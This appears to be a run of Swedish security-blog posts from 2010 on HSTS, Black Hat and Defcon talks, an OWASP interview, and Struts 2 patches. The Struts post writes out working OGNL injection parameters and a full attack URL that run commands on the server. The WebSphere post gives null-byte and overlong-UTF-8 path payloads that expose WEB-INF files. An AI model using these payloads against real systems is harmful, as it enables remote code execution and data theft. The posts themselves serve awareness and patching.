Jag har faktiskt bara träffat en IT-människa som verkligen bromsat in vid den där varningssidan och han var inte någon säkerhetskille. Det var en utvecklare "på andra sidan" mitt projekt som mejlade oss och cc:ade beställare och chefer för att påtala denna "show stopper". Han skulle göra ett anrop till vår testmiljö där vi självklart inte körde med ett skarpt cert. Vi fick mejla honom plus alla chefer och förklara att han fick göra ett säkerhetsundantag.

Men om vi bortser från denna enda person så är beteendet där ute att klicka sig förbi varningen. Folk i gemen har vant sig vid att webbsidor kan orsaka varningar men fungera bra. Så vad säger att internetbanken inte ska kunna uppvisa en sån varning? Vips så har vi sänkt ribban rejält för man-in-the-middle. Attackeraren behöver inte skapa ett SSL-cert signerat av en godkänd CA om offret ändå godkänner hans/hennes fulcert.

Strict-Transport-Security lovar "Inga fulcert"

Idén bakom Strict-Transport-Security är att webbservern kan publicera en header som säger:

"Jag levererar bara sidor över https och garanterar att jag inte kommer köra med ett ogiltigt certifikat. Om du skulle få svar på den här adressen med ett ogiltigt certifikat så ska du på inga villkor tillåta användaren att klicka sig vidare. Detta gäller i X sekunder framåt."

Formellt ser svaret från servern ut så här (verkligt exempel från https://www.paypal.com/se):

shell> curl -i https://www.paypal.com/se

HTTP/1.1 200 OK

Date: Sat, 21 Aug 2010 19:47:14 GMT

Server: Apache

Cache-Control: private

Pragma: no-cache

Expires: Thu, 05 Jan 1995 22:00:00 GMT

Set-Cookie: [snip/]; domain=.paypal.com; path=/; Secure; HttpOnly

(... fler cookies ...)

Vary: Accept-Encoding

Strict-Transport-Security: max-age=500

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Servern kan också lägga till information om att regeln ska gälla alla subdomäner. Grammatiken ser ut så här:

Strict-Transport-Security =

"Strict-Transport-Security" ":" "max-age" "=" delta-seconds [ ";" "includeSubDomains" ]

Webbläsaren tillåter inga fulcert

Grunden till STS-funktionen är att en STS-medveten webbläsare (just nu bara Chrome och Firefox med NoScript) måste avbryta kommunkationen med en STS-sajt om certifikatet är ogiltigt. Det får inte finnas en chans för användaren att klicka sig förbi någon sorts varning. Tuffa tag helt enkelt.

Ett annat krav på en webbläsare som förstår STS är att den automatiskt gör om alla HTTP-anrop till HTTPS-anrop om det är en STS-sajt med giltig tidsstämpel. Det hindrar attacker i stil med SSLStrip.

Webbläsaren noterar servern som STS

När en STS-medveten webbläsare får en STS-header så måste den:

Lägga till servern till sin lista över kända STS-servrar
Uppdatera informationen om max-age och includeSubDomains om dessa fält skiljer sig från vad som sparats tidigare för den servern

Om webbläsaren får en HTML-kodad HTTP-header med STS, t ex ...

... så får den taggen inte användas. Annars skulle en attackerare kunna injicera STS-direktiv.

Server-konfiguration

Om man överväger att använda STS på sin server så är det några saker man ska tänka igenom.

Först är förstås hur bra man är på att sköta sina SSL-certifikat eftersom en STS-sajt helt enkelt inte kommmer att fungera om certet är ogiltigt. Har man ett kalendarium? Som fler än en person har ansvar för? Med rutiner som fortfarande funkar om tre år när certet går ut? Jag har mött alltför många organisationer som har dåligt samvete över sin obefintliga hantering av SSL-certifikat.

Sen måste man bestämma sig för en strategi för tidsstämplarna. Ska man alltid svara med ett fast tidsspann, t ex en vecka eller ska man svara med antal sekunder kvar tills certet går ut?

Svenska internetbanker kör inte STS. Än.

OK, tämligen få webbläsare har ännu stöd för STS men inget hindrar seriösa tjänsteleverantörer att implementera STS på sina HTTPS-servrar. Jag kollade de fyra stora internetbankerna. Ingen av dem kör STS. Än.

Tomma resultat för följande curl-anrop:

curl -i https://internetbank.swedbank.se/SecurityServer/SecurityServer | grep "Strict-Transport-Security"

curl -i https://internetbanken.privat.nordea.se/nsp/engine | grep "Strict-Transport-Security"

curl -i https://taz.vv.sebank.se/cgi-bin/pts3/wow/wo10.c1010.f001?I= | grep "Strict-Transport-Security"

curl -i https://secure.handelsbanken.se/bb/glss/servlet/prelogon?id=seprivsv | grep "Strict-Transport-Security"

Struts 2.2.1 släppt

2010-08-17T23:13:00.003+02:00

Äntligen har Apache släppt Struts 2.2.1 med patchen för säkerhetshålet jag skrev om tidigare.

På projektets sida för offentliggöranden står att läsa:

The Apache Struts group is pleased to announce that Struts 2.2.1 is available as a "General Availability" release. The GA designation is our highest quality grade.
(...)
This release includes a number of new features and bug fixes since the 2.1.8.1 GA release, including important security fixes regarding remote server context manipulation by injecting OGNL expressions in request parameters.

Sammanfattning Black Hat och Defcon

2010-08-17T22:38:00.005+02:00

Tillbaka till Sverige.
Tillbaka till jobbet.
Tillbaka till verkligheten.
Eller var det verkligheten vi lämnade i Vegas och bubblan vi återkommit till?

Här är mina intryck från världens största säkerhetskonferenser – Black Hat USA och Defcon.

Allt kan och ska hackas
Mina kollegor Michael Boman, Marcus Hartwig, Peter Swedin och jag träffade en hel del intressanta människor under de två konferenserna. En av dem – Jesse Ou från Cigital – sammanfattade intrycken väl: – It's all depressing, isn't it?! Everything gets hacked.

Black Hat är tämligen kommersiellt medan Defcon känns som en gräsrotsrörelse. Samtidigt har de ett gemensamt tema – allt kan och ska hackas. Känslan på Black Hat var att hacken syftade till att höja medvetenheten och på sikt säkerheten. Känslan på Defcon var snarare att det var coolt att knäcka system, punkt.

Hur som helst så är listan på de säkerhetshack som presenterades tämligen deprimerande:

Bankomater hackades (video)
Kerberos på Windows hackades
Android hackades ... flera gånger om
iPhone:s och Androids webbläsare hackades (video)
GSM hackades
IBM WebSphere hackades
PHP hackades
Diverse network management-protokoll hackades
Smarta kort med Atmel-chip hackades
Så kallade Grade 1-säkerhetslås knäcktes, t ex finska ILOQ (video)
Privata RSA-nycklar hackades ... på veckor med en desktopdator! Jag har jagat presentatören som tusan eftersom det nog var det mest skrämmande vi såg. Men det var en presentation i ett separat rum utanför den vanliga agendan. Hittills inga svar.

Säkerhet i två världar
Det bestående intrycket är att IT-säkerhet är uppdelat i två världar.

Värld nummer ett där de flesta av oss arbetar. I den världen så betyder säkerhetsfunktioner, säkerhetsregler, säkerhetsrutiner och säkerhetsprinciper allt. Under sådan flagg säljer vi kunskap och system för att bygga och upprätthålla säkerhet.

Värld nummer två där en del av oss tillbringar fritiden men de flesta är åskådare. I den världen så kringgås säkerhetsfunktioner, säkerhetsregler, säkerhetsrutiner och säkerhetsprinciper konsekvent. Men där finns inga pengar att tjäna om man vill vara på rätt sida om lagen.

Vilken säkerhet efterfrågas?
Den säkerhet som kunder efterfrågar och säkerhetsföretag säljer har ganska lite att göra med hur system hackas. Hackerkulturen går ut på att inte acceptera specifikationer och garantier utan istället undersöka sanningen och röka ut säkerhetshålen som alltid finns där.

OWASP befinner sig i ett mellanläge. Med säkerhet i applikationsutveckling försöker man undvika att utgöra lågt hängande frukt. OWASP Top 10 ger tips om vanliga risker och misstag. OWASP ESAPI ger byggklossar för bättre säkerhetsfunktioner i webbsystem.

Men om vi efterfrågar riktig säkerhet så finns i dagsläget ingen annan väg framåt än tidskrävande, explorativ säkerhetstestning. Och det är det ingen som håller på med.

Förutom de som presenterar på hackerkonferenser förstås.

Fortfarande ingen patchad Struts 2

2010-08-04T10:54:00.004+02:00

Apache-folket har skippat Struts 2.2.0 och röstar sen 17 juli om version 2.2.1 och ingen har sagt något där på 2,5 veckor. Under tiden är hundratals svenska webbapplikationer antagligen vidöppna för hack. Testbygge för 2.2.1 finns. Temporär fix har jag publicerat här.

Senaste releasen av Struts 2 är från september 2009. Kanske har den långa tiden kastat grus i release-maskineriet? Philip Luppens i teamet kommenterar det i alla fall så här:

"Guys, can we please get some more votes in? I cannot understand we cannot push out a simple release when all the work has been done ..."

Android-malware utan permissions

2010-08-01T00:50:00.002+02:00

Anthony Lineberry, David Richardson och Tim Wyatt höll en grymt intressant presentation och demo om Android-säkerhet. Otroligt hur de kunde kringå alla begränsningar som egentligen ska finnas för appar.

Lite om Androids säkerhets- och processmodell
Varje Android-app har en AndroidManifest.xml som deklarerar
pakettillhörighet, komponenter och tillstånd (permissions) som appen behöver på mobilen.

En körande app är en aktivitet som ligger på aktivitetsstacken. Aktiviteten på toppen är den som kör, de andra är i pausläge.

En applikation kan starta andra appar som då körs i appens process. Anroparen har dock inte alltid tillgång till den startade aktivitetens data eller tillstånd.

När man laddar ner en app från Google Market så får man först reda på vilka tillstånd den kräver. På det viset kan användaren undvika skumma appar. Men om appen inte kräver några tillstånd så laddas den hem direkt. Det låter intressant – vad kan en attackerare göra med noll tillstånd?

En hel del!

Reboot utan tillstånd
En app utan tillstånd får inte anropa REBOOT. Men det går att tömma ut Androids minnesresurser och tvinga fram en ombootning. Genom att skapa osynliga views. Efter 2001 st views som alla skapar globala referenser så får telefonen en SIGSEGV och bootar om.

Starta automatiskt vid boot utan tillstånd
Applikationer får inte begära att de ska startas vid omstart av telefonen. Specifikt så krävs receive_boot_complete-tillstånd. Men det tillståndet kollas inte!

Starta efter installation utan tillstånd
Applikationer får allmänt inte starta automatiskt efter nedladdning. Därför förväntar sig inte användaren det utan kommer att tolka det som att Android OS:et ber om uppmärksamhet om något händer direkt efter att han/hon laddat ner en app.

Tänk dig att du installerar en app från Google Market som automatiskt startar en phising-attack som begär ditt lösenord. Det kan man åstadkomma genom att utnyttja hur Google Analytics används. Analytics ska nämligen få logga vad och hur du har laddat ner. Kolla Googles dokumentation, kopiera koden och peka ut din egen phising-app.

Internetaccess utan tillstånd
En applikation måste be om tillstånd för att få kommunicera med Internet. Så kan attackerarens app göra det utan tillstånd? Jajamen. Låt oss börja med uppladdning av data.

Appen har inte uppladdningstillstånd själv. Men det har webbläsaren och appen har rätt att öppna sidor via webbläsaren. Risken är dock att användaren upptäcker det och stänger av ("Ehh ... varför drogs webbläsaren igång och gick till den där skumma sidan?"). Så hur gör attackeraren? Jo, han/hon gör alla uppladdningar när telefonens skärm är släckt! Och så fort uppladdningen är klar så går webbläsaren vidare till exempelvis google.com så att det inte ser skumt ut när användaren startar skärmen igen.

Nedladdning då?

Ja, det går ju att hämta med webbläsaren. Alla filer lagras då på SD-kortet och där får appen läsa utan tillstånd. Men det skapar en massa notifieringar som användaren kommer se i en lista plus att det blir skumma filer som skräpar.

Istället utnyttjar Androids funktionalitet för att mappa specialprotokoll med appar. T ex så startar geo:-protkollet Google Maps direkt. Attackeraren kan deklarera och mappa sitt eget protokoll (android:scheme="nethack" adroid:host="data") och anger sen bara nethack: istället för http i URL:en. Voilà -- nedladdning som skickar data direkt till appen!

Remote execution på WebSphere

2010-07-31T02:27:00.008+02:00

Ed Schaller höll en intressant presentation om remote execution på IBM WebSphere (WAS).

WAS frontas typiskt av en webbserver såsom Apache eller IIS. Webbservern används för lastbalasering och felhantering. Den kommunicerar i sin tur med WAS via en webbserver-plugin över http. Men inte alla request skickas vidare.

Webservern utgår från url-mappnignar i web.xml och ibm-web-ext.xmi. Om en match hittas så skickas requestet vidare, annars hanteras det av webbservern själv.

JSP:er och null
WAS och andra applikationsservrar översätter jsp till Java, kompilerar och kör det som en servlet. Det fungerar normalt även runtime och jsp:er komplieras först när de efterfrågas.

Det gör att webbservern alltid skickar jsp-request vidare eftersom appservern måste få en chans att kolla om den finns och kompilera den.

Så hur tolkas null i den här översättningen från jsp till Java till bytekod? Jo, det visar sig att WAS accepterar null men i accessen till det underliggande filsystemet så termineras strängen vid null. På det viset kan man fejka att man vill nå en jsp men i själva verket peka ut en annan fil. Så här:

ctxroot/path_till_filen%00.jsp

Det kommer läsa upp den fil attackeraren har anget så länge den finns i den exploderade war:en. Det måste dessutom vara en korrekt jsp. Jobbigt? Nja, i princip allt som inte innehåller <% är en korrekt jsp. T ex textfiler, html, xml, de flesta zip-filer och så vidare. Intressant nog visare det sig att om attackeraren anger en katalog istället för en fil så får han/hon en kataloglistning. Så här:

ctxroot/dir/%00.jsp
ctxroot/.%00.jsp (extra punkt för att komma åt kontextroten)

Web Server Plugin
OK, null gick bra att att skicka till WAS:en men hur går det med den framförliggande webbservern? Pluginen är skriven i C och terminerar därför vid null, dvs text.txt.jsp blir text.txt. Tillbaka på ruta null så att säga.

Men vi kanske kan lura webbservern med teckenkodning? Java lagrar strängar i UTF-16 internt men tolkar inkommande strängar som UTF-8. Men web server-pluginen förstår inte lång UTF-8. Därtill har IBMs jvm haft en allvarlig bugg i hantering av så kallad overly long UTF-8 som är fixad i de senaste patcharna. På det viset kan man injicera UTF-8 som webbserver-pluginen inte förstår och som jvm:en sen misstolkar som null. Tecknet är %C0%80 vilket tolkas som ASCII null.

Med dubbelpunkt kan man dessutom komma åt WEB-INF-katalogen och kodningen för dubbelpunkt i UTF-8 är %C0%AE. Totalt sett så här:

ctxroot/%C0%AE/WEB-INF/web.xml%C0%80.jsp

… för att komma åt web.xml.

Axis och bilagor
Men attackeraren vill inte bara läsa filer utan också få till remote execution. Så han/hon måste få in en jsp-fil i den exploderade war:en. Här vänder vi oss till det populära Axis-ramverket för web services.

Man kan nämligen ha bilagor (attachments) i sin SOAP. Om man lägger bilagan före SOAP:en och dessutom refererar den i SOAP:en, t ex med en href, så kommer Axis ladda bilagan som fil och cache:a den … i war:en!

Men då måste attackeraren kunna kommunicera med en web service väl? Nej. Web services tillåter att klienten skickar ett SOAP Fault det första den gör. Och då kommer Axis hantera det oavsett om det finns någon web service som det kan ha gått fel i. SOAP Fault är kodade på samma sätt som vanlig SOAP så tricket med bilagan funkar bra.

Bilagan rensas av cache-hanteraren så det uppstår en så kallad race condition där attackeraren måste hinna använda den uppladdade jsp:n innan den tas bort.

Allt det här demade Ed på plats. Japp, skal med användaren wasadmin blev det.

Fix?
Alla moderna versioner av WebSphere (6 och framåt) har så kallade fixpack för det här problemet. Ed har varit noga med att rapportera det på rätt sätt. Coolast var att IBM ordnade en patch på två veckor för alla de 60 varianter som var sårbara. Det är respekt.

Men om man kör en opatchad WebSphere så är man alltså sårbar.

Ed tyckte också man skulle överväga att stänga av runtime-kompilering och omladdning av jsp:er (disableJspRuntimeCompilation).

Säkerhet i GWT

2010-07-30T09:00:00.000+02:00

Google Web Toolkit (GWT) låter utvecklare bygga klienttunga webbapplikationer i Java. De kompileras sen till effektiv JavaScript. Frågan är dock om utvecklare känner till vad som händer under huven och hur det påverkar säkerheten? Spider Labs har rotat i den frågan.

Genererad JavaScript
GWT kan generera JavaScript i tre varianter – pretty, detailed och obfuscated. Pretty är helt enkelt trevlig, läsbar kod lämplig under utveckling. Detailed är JavaScript med identifierare som återger exakt vad det var i Java, t ex klassnamn med hela pakettillhörigheten. Inte lätt att läsa men väldigt informativt.

Obfuskering är påslaget default (stäng inte av det för produktionskod) och görs på följande sätt:

Variabel-, klass- och metodnamn är förkortade (aa, ab, ac, … zx, zy, zz …)
Statiska strängar flyttas till globala variabler
Onödig whitespace tas bort
Alla funktioner sorteras i storleksordning. Det är oklart varför men enligt Google kan det ge bättre kompression när koden skickas över nätet.

Relativ kodstorlek:
100 % obfuscated
200 % pretty
700 % detailed

Inga privata metoder
En liten detalj värd att notera är att privata metoder inte längre är privata i den genererade JavaScript-koden. Det har inga egentliga säkerhetsimplikationer men pekar på det faktum att Google har prioriterat prestanda och komprimerad kod framför att bibehålla maximalt med egenskaper i konverteringen till JavaScript. Det verkar alltså inte använda Crockfords designmönster Module Pattern som möjliggör privata metoder JavaScript.

Enligt Spider Labs så hittas de flesta säkerhetsfelen i webbappar i rpc-gränssnitt (remote procedure call). Se därför dina rpc-anrop som http-request och säkra dem på samma sätt (autentisering, csrf-skydd …).

Deobfuskering av genererad JavaScript
För en attackerare eller pentestare är det naturligtvis intressant att få klientkoden i ett läsbart skick. Spider Labs har därför byggt en deobfuskator – REGWT – utifrån Mozilla Rhino. Den intressantaste delen i deobfuskeringsprocessen är hur de återskapar metodnamn genom metodsignaturer. De döper alla variabler till numrerade standardnamn (field_3 osv), formatterar koden och beräknar sen en hash på det hela. Den kan jämföras med hashen för kända Java-metoder och på så sätt kan man återskapa en hel del av koden.

Verktyget ska släppas till helgen. Kolla efter REGWT på deras webbsida.

PHP-sessioner sårbara

2010-07-30T00:47:00.004+02:00

Samy Kamkar, killen bakom MySpace-masken och XSS håller precis en väldigt underhållande presentation. Han har bland annat slaktat PHP-sessioner ...

Målet för attacken är att ta över en inloggad persons session i en webbapplikation skriven i PHP.

session_start() initialiserar en PHP-session. Samy har analyserat entropin i sessions-idt:

32 bitar från din IP-adress
32 bitar från sekunder sen 1/1 1970
32 bitar från nuvarande antal mikrosekunder
64 bitar från pseudoslumpgeneratorn (PRNG, pseudo random number generator)

Totalt 160 bitar, dvs jobbigt att brute force:a

Men …

0 bitar från din IP-adress eftersom den knappast kan anses hemlig.
0 bitar från sekunder sen 1/1 1970 eftersom man kan polla tjänsten en gång i sekunden för att se exakt när du loggar på (typiskt sociala nätverk där din kompis loggar in)
20 bitar från nuvarande antal mikrosekunder eftersom det bara finns en miljon mikrosekunder!
64 bitar från PRNG

Totalt 84 bitar, inte lika jobbigt att brute force:a

Men …

Den enda slump som finns i en PRNG kommer från fröet. Resten är en predikterbar sekvens av siffror, lika varje gång fröet är lika. Just därför är det så allvarligt att PHP-utvecklarna har tabbat sig i fröberäkningen.

Fröberäkningen XOR:ar tidpunkten för serverstarten i antalet sekunder sen 1/1 1970 med antalet mikrosekunder. Felet är att man mixar det helt slumpmässiga antalet mikrosekunder med den del av antalet sekunder sen 1/1 1970 som är variabelt (dvs den del som är någorlunda slumpmässig). Och eftersom det bara finns en miljon mikrosekunder så är fröet nu nere i 20 bitar entropi.

Total entropi: 40 bitar

Vidare med time-space-tradeoff så behöver vi bara brute force:a hälften, dvs 20 bitar. Genomförbart inom sekunder med i snitt en halv miljon request till den sårbara tjänsten.

Sen är PHP-sessionen övertagen.

Historien om buffer overflows

2010-07-29T22:00:00.000+02:00

Haroon Meer har tillbringat fantastiskt mycket tid åt att gå igenom historien bakom buffer overflows, formatsträngsattacker och andra minnesattacker. Istället för att ens försöka återge hans snabba och underhållande presentation så länkar jag till hans interaktiva tidslinje.

Kinesiska hacker-communityn

2010-07-29T21:00:00.001+02:00

Jag hann höra sammanfattningen av en presentation om hur den kinesiska hacker-communityn fungerar. Intressanta punkter:

Samarbetar i öppna forum
Kineserna använder sällan dolda kanaler, IRC och så vidare. Istället så sker diskussioner tämligen öppet i vanliga nätfora. Med andra ord lätt sökbara.

Enkla GUI-verktyg
Inom den kinesiska communityn så tar man ganska snabbt fram lättanvända, GUI-baserade verktyg för de allra senaste hacken, vissa gånger för helt okända hack. Det göder en stor volym script kiddie-attacker från Kina. I västvärlden är sådana verktyg ovanliga.

Lätt att spåra upphovsmän
Kinesiska hackers lämnar medvetet massor med spår i sina applikationer och verktyg. Det är med andra ord inte svårt att ta reda på vem eller vilken grupp som ligger bakom ett visst hack. Det skiljer sig från hackerkulturen i väst.

Vanligt med 0-days
Det verkar vara ett onormalt antal 0-days i omlopp bland kinesiska hackers. Orsakerna kan vara flera.

Det går att tjäna pengar på nya hack i Kina, dvs hackers behöver inte gå utomlands för att profitera på sina alster.
Informationsutbytet mellan Kina och väst är sparsamt. Hackers umgås inte över den gränsen.
Principer för hur nya hack ska publiceras (responsible/full disclosure) har inte fått fäste i Kina. Kanske för att principerna upplevs dåliga, kanske för att man inte riskerar särskilt stora problem för att ha släppt en 0-day.

Loki – nytt verktyg för layer 3-attacker

2010-07-29T03:06:00.002+02:00

Alla som utför pentester på nätverksnivå eller intresserar sig för säkerhet i nätverk (snarare än applikationer) bör kolla in nedanstående.

Ett gäng duktiga nätverkshackare från ERNW har tagit fram ett nytt verktyg för attacker mot mot network management-protokoll. Attackerna kan t ex injicera falsk routing-information som riktar om all trafik på ett helt nätverk till attackerarens dator. Där kan förstås allehanda saker såsom sniffning, man-in-the-middle och vidare läckage ske.

Sådana protokollattacker avfärdas ofta som teoretiska problem. Därför ville man ta fram ett enkelt verktyg för att visa på hur allvarliga dessa problem kan vara.

Andra verktyg
Det finns sedan några verktyg men som tyvärr är väldigt komplicerade:

Det nya verktyget heter Loki (efter asaguden Loke). Det har ett GWT-GUI med flikar och är skrivet i Python. Loki förstår en massa protokoll som de tidigare verktygen inte förstår än. Totalt sett så presenterar de Loki som en "Infrastructure protocol attack suite" :).

Nya verktyget Loki
Loki kan angripa följande protokoll:

Interior gateway-protokoll

RIP (route-injicering)
EIGRP (EIGRP TLV-injicering, authentiserad/icke-autheniserad DoS) Ej släppt än pga juridiska problem med Cisco.
OSPF (LSA-injicering, knöcka MD5-authenitisering)

Exterior gateway-protokoll

BGP (NLRI injection)

Andra protokoll:

ARP (spoofning, skanning, flooding)
BFD, nytt protokoll (DoS mot existerande BFD-session)
HSRP/HSRPv2 (ta över IP-adresser)
LDP (injicering av label mapping messages)
MPLS (omskrivning av MPLS labels, MPLS-VPN-attack)
TCP-MD5 (knäcka autentisering enligt RFC2385)
VRRP, VRRPv3 (ta över IP-adresser)
WLCCP (sniffning, cracking, generera CTK-nonce och nyckel, dekryptering av klient-PMK) Ej släppt än pga juridiska problem med Cisco.

På ERNWs webbsida står det fortfarande att verktyget snart kommer publiceras.

Bloggande från Black Hat + Defcon

2010-07-29T03:01:00.003+02:00

Jag och tre kollegor är på Black Hat och Defcon i Las Vegas, USA. Jag har valt en del riktigt tunga föredrag så några av mina blogginlägg får nog vänta till jag har kommit hem och hunnit läsa ett par av de bakomliggande artiklarna :). Men det ska inte behöva bli tomt här för det. Stay tuned.

XSS-verktyg: Shell of the Future

2010-07-21T01:28:00.005+02:00

Lavakumar Kuppan från Attack and Defense Labs har släppt ett intressant XSS-verktyg: Shell of the Future. Tanken är att hjälpa pentestare att bevisa hur farliga XSS-sårbarheter är.

Klientskript kommunicerar med cross-origin request

Som attackerare sätter du upp en server vilken kommer utgöra din kontrollstation. Sen planterar du en av två färdiga skript mha XSS-sårbarheten. Genom cross-origin request (del av HTML5) så låter nu skriptet dig surfa sömlöst med offrets session.

Clickjacking för att behålla skriptet lajv

I många fall så har attackeraren en begränsad tidslucka då hans/hennes elaka skript lever i offrets session. Så fort offret klickar vidare så laddas en sida som inte innehåller det elaka skriptet och tidsluckan är förbi.

För att underlätta så har Lava gjort en variant av Shell of the Future-skriptet som använder clickjacking för att stjäla offrets klick och öppna länken i en ny flik istället. På det viset så lever attackskriptet kvar i den gamla fliken och attackeraren kan fortsätta surfa med offrets session.

Adobe Reader får sandlåda

2010-07-20T18:44:00.002+02:00

Adobe har bestämt sig för att använda beprövad säkerhetsteknik för att komma åt alla pdf-trojaner som drabbat deras Reader. Med inspiration från MS Office 2010, 2007 och Chrome så kommer de rendera pdf:er i sandlådor i och med nästa version. Dock bara för Windows.

I en första våg ska de skydda mot skrivningar och i nästa mot läsning av information.

Hela storyn här (CNET).

Interview with Jeff Williams

2010-07-20T13:41:00.005+02:00

The Conference Guide for OWASP AppSec Research 2010 in Stockholm featured an exclusive interview I did with Jeff Williams, volunteer Chair of the OWASP Foundation.

Here it is online:

Will OWASP ever reach out to developers?

OWASP focuses on outreach in 2010, and with the prevalence of application security flaws I'd say that's a good focus. But how do we reach out? How should appsec professionals reach software developers?

Jeff: To say that software development groups don’t fully trust security people is an understatement. This isn’t too surprising, seeing how some appsec professionals parade security holes around to get budget for their application security programs. Frankly, most appsec programs are reactive verification programs, designed to find vulnerabilities after they are created.

This era of security separate from development has to end. Instead, we need to get integrated with software development teams and business organizations, working together to get security started much earlier in the software process.

The right way to reach out is to get in there and actually help. Help figure out the threat model, design security architecture, place security controls, and develop test cases. If you find a vulnerability after the application is complete, you failed. And if you’re only talking with other security people, you’re doing it wrong.

Application security and the word Trust

The word trust is often used in IT security. How would you say application security applies to the trust relationship between customers and vendors, or endusers and developers if you will?

Jeff: Today, most trust is blind – and quite frankly unwarranted. There’s just no way for users to know whether the software they’re using is even remotely trustworthy. I’ve talked many times about how this information asymmetry turns the software market into a “market for lemons.” The solution is visibility and transparency for application security, which is the reason why OWASP’s mission focuses on creating visibility.

The whole point of application security is to generate informed trust, where people make decisions about software based on a full and accurate understanding of the risks involved. To achieve this, OWASP is trying to bootstrap a new era of open security ecosystems and “security in sunshine.”

Do developers care about rugged software?

Joshua Corman, David Rice, and you released the Rugged Software Manifesto in February. Does it stick to software developers or is it just an appsec utopia? Do developers really care if their software is rugged or not?

Jeff: We’re trying to bring application security to developers in a way that doesn’t involve threats, coercion, or embarrassment. Recent efforts to try to make developers liable for software vulnerabilities will only result in keeping critical security information shadowed in darkness. The only way we will make progress in application security is by bringing together business people, software developers, and security people and getting them to work together.

Rugged gets all of those groups focused on security in a positive way. In the same way that the Agile movement resonates with developers worldwide who are fed up with the traditional waterfall approach to development, Rugged appeals to developers who want their code to be strong enough to trust.

Virtually all of the developers I meet do care about security, but they need an ecosystem that supports them to make it a reality.

Java rootkits and trusted developers

At Blackhat USA last year you presented the paper "Enterprise Java Rootkits -- Hardly Anyone Watches the Developers" (pdf). Are malicious or disgruntled developers really something we should care about? Who's responsible – the CSO, the CIO, the team leader, or?

Jeff: I’m mostly a “builder,” but occasionally when it’s really important, I reveal my “breaker” side. Malicious developers are literally a “movie plot” threat, but that doesn’t mean we shouldn’t think about it. I set out to figure out the likelihood and impact of the risk associated with malicious developers. It quickly became clear that the amount of damage was virtually unlimited – at least as bad as the worst vulnerability possible and probably quite a bit worse.

The likelihood is harder to calculate, but scary. Imagine you have 200 developers – what are the odds that one of them is disgruntled or in a difficult life situation. Then think about what it would cost to get one of them to betray your company. Then think about all the code you’re trusting – custom code, libraries, test cases, your tool chain, and more. All of those developers are running with full trust deep in your infrastructure.

The paper investigates lots of ways that a malicious developer might hide their attack and concludes that it is quite easy for relatively unskilled developers to do this. There are some very interesting techniques for hiding these attacks and even attacking whole sectors by Trojaning libraries.

So to answer your question, yes – we should care about this risk. There are some simple things we can do about it, but the point of the paper was to kick off research in this area so that we can start to figure out how to protect ourselves for the longterm.

AppSec USA 2010 – Programmet ute

2010-07-19T19:21:00.002+02:00

Nu är programmet för OWASP AppSec USA 2010 publicerat. Inte mindre än fem keynote-talare!

Programmet 9 september

Programmet 10 september

Platsen är UC Irvine i Kalifornien och de har precis förlängt earlybird-rabatten till 31/7. Kommer bli mycket trevligt tror jag!

Följ @appsec2010 på Twitter och tagga era egna konferenstweets med #appsec2010.

Alla säkerhetsverktyg du kan önska dig

2010-07-16T00:17:00.003+02:00

OWASPs Phoenix-projekt har gjort ett hästjobb i att länka allsköns säkerhetsverktyg – testsajter, proxys, fuzzers, bra webbläsar-plugins, kodskanners och så vidare. Alla länkar lever nog inte eftersom listan har byggts upp över tid. Men det sker uppdateringar kontinuerligt.

Kolla in listan här.

Men se upp! I dagarna fick vi återigen ett exempel på hur illa det kan gå med plugins. Enligt uppgift så innehöll Firefox-addon:en Mozilla Sniff en dold funktion som loggade alla användarnamn och lösenord ihop med den sajt de användes på. Uppgifterna skickades till extern server. Riktigt illa blev det eftersom Mozilla Sniff ingick i kollektionen Web Application Security Penetration Testing. Undrar hur många säkerhetsmänniskor som blivit av med sina lösenord på det viset?

Remote execution i Struts 2

2010-07-14T11:33:00.008+02:00

Efter att Spring MVC fallit förra månaden så faller nu Struts 2. Det här är nog det värsta jag har sett i Java-världen. Patchad kod är uppladdad men inte släppt än. När 2.2.0 kommer så är det dags för alla Struts2-användare att patcha.

[Uppdatering] Följande konfiguration i struts.xml verkar svartlista Meders attack:

<interceptor-ref name="params">

<param name="excludeParams">dojo\..*,^struts\..*,.*\\.*,.*$.*,.*$.*,.*@.* </param>

</interceptor-ref>

Unicode för '#' kringår indatavalidering

Meder Kydyraliev som säkerhetsexperten heter upptäckte för ett år sedan att Struts inte tillåter tecknet '#' i http-parametrar. Detta för att man med '#' når fördefinierade kontextvariabler i XWork såsom #session, #request och #parameters. Men Apache-folket missade det gamla encoding-problemet. Genom att skicka in Unicode för '#', dvs \u0023, så kringgås indatavalideringen.

Http-parametrar för att tillåta statiska och dynamiska metodanrop

Sen upptäckte Meder kontextvariabeln #_memberAccess med det booleska attributet allowStaticAccess som styrde statiska anrop till metoder. Första http-parametern i attack-URL:en blir alltså:

\u0023_memberAccess['allowStaticMethodAccess'] = true

Sen fyller han på med en http-parameter som skapar en Boolean som är falsk:

\u0023foo = new java .lang.Boolean("false")

Det booleanska objektet använder han för att i nästa http-parameter stänga av denyMethodExecution:

\u0023context['xwork.MethodAccessor.denyMethodExecution'] = \u0023foo

Hämta Runtime-objektet och kör valfri kod

Lägg till det en http-parameter för att hämta det aktuella Runtime-objektet:

\u0023rt = @java.lang.Runtime@getRuntime()

... och man är med en sista http-parameter hemma:

\u0023rt.exec('mkdir /tmp/PWNED')

Kolla om din applikation är sårbar

Totalt sett ser ett attack-request ut så här:

http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

Ovanstående "snälla" request kan man använda för att se om ens applikation är sårbar. Det kör då java.lang.Runtime.getRuntime().exit(1) på din app.

Referenser

Läs hela Meders blogginlägg:

CVE-2010-1870: Struts2/XWork remote command execution

Struts 2-utvecklarnas pågående omröstning om release av 2.2.0

Douglas Crockford om XSS

2010-07-09T11:52:00.009+02:00

Jag tänkte först skriva en summering av den fantastiska OWASP AppSec-konferensen vi anordnade tillsammans för två veckor sen. Men varför göra det när man istället är sugen på att kolla några webcasts?

Douglas Crockford på vår sida

Via Twitter fick jag tips om en väldigt intressant presentation från jsconf i Washington DC i april. Det är Douglas Crockford, författare till "JavaScript: The Good Parts" och en av Yahoos tyngsta namn som ägnar 50 % av sin talartid åt cross-site scripting (XSS)! Jag kan inte nog understryka betydelsen av att en guru bland utvecklare ställer sig upp och pratar om problem och lösningar inom säkerhet.

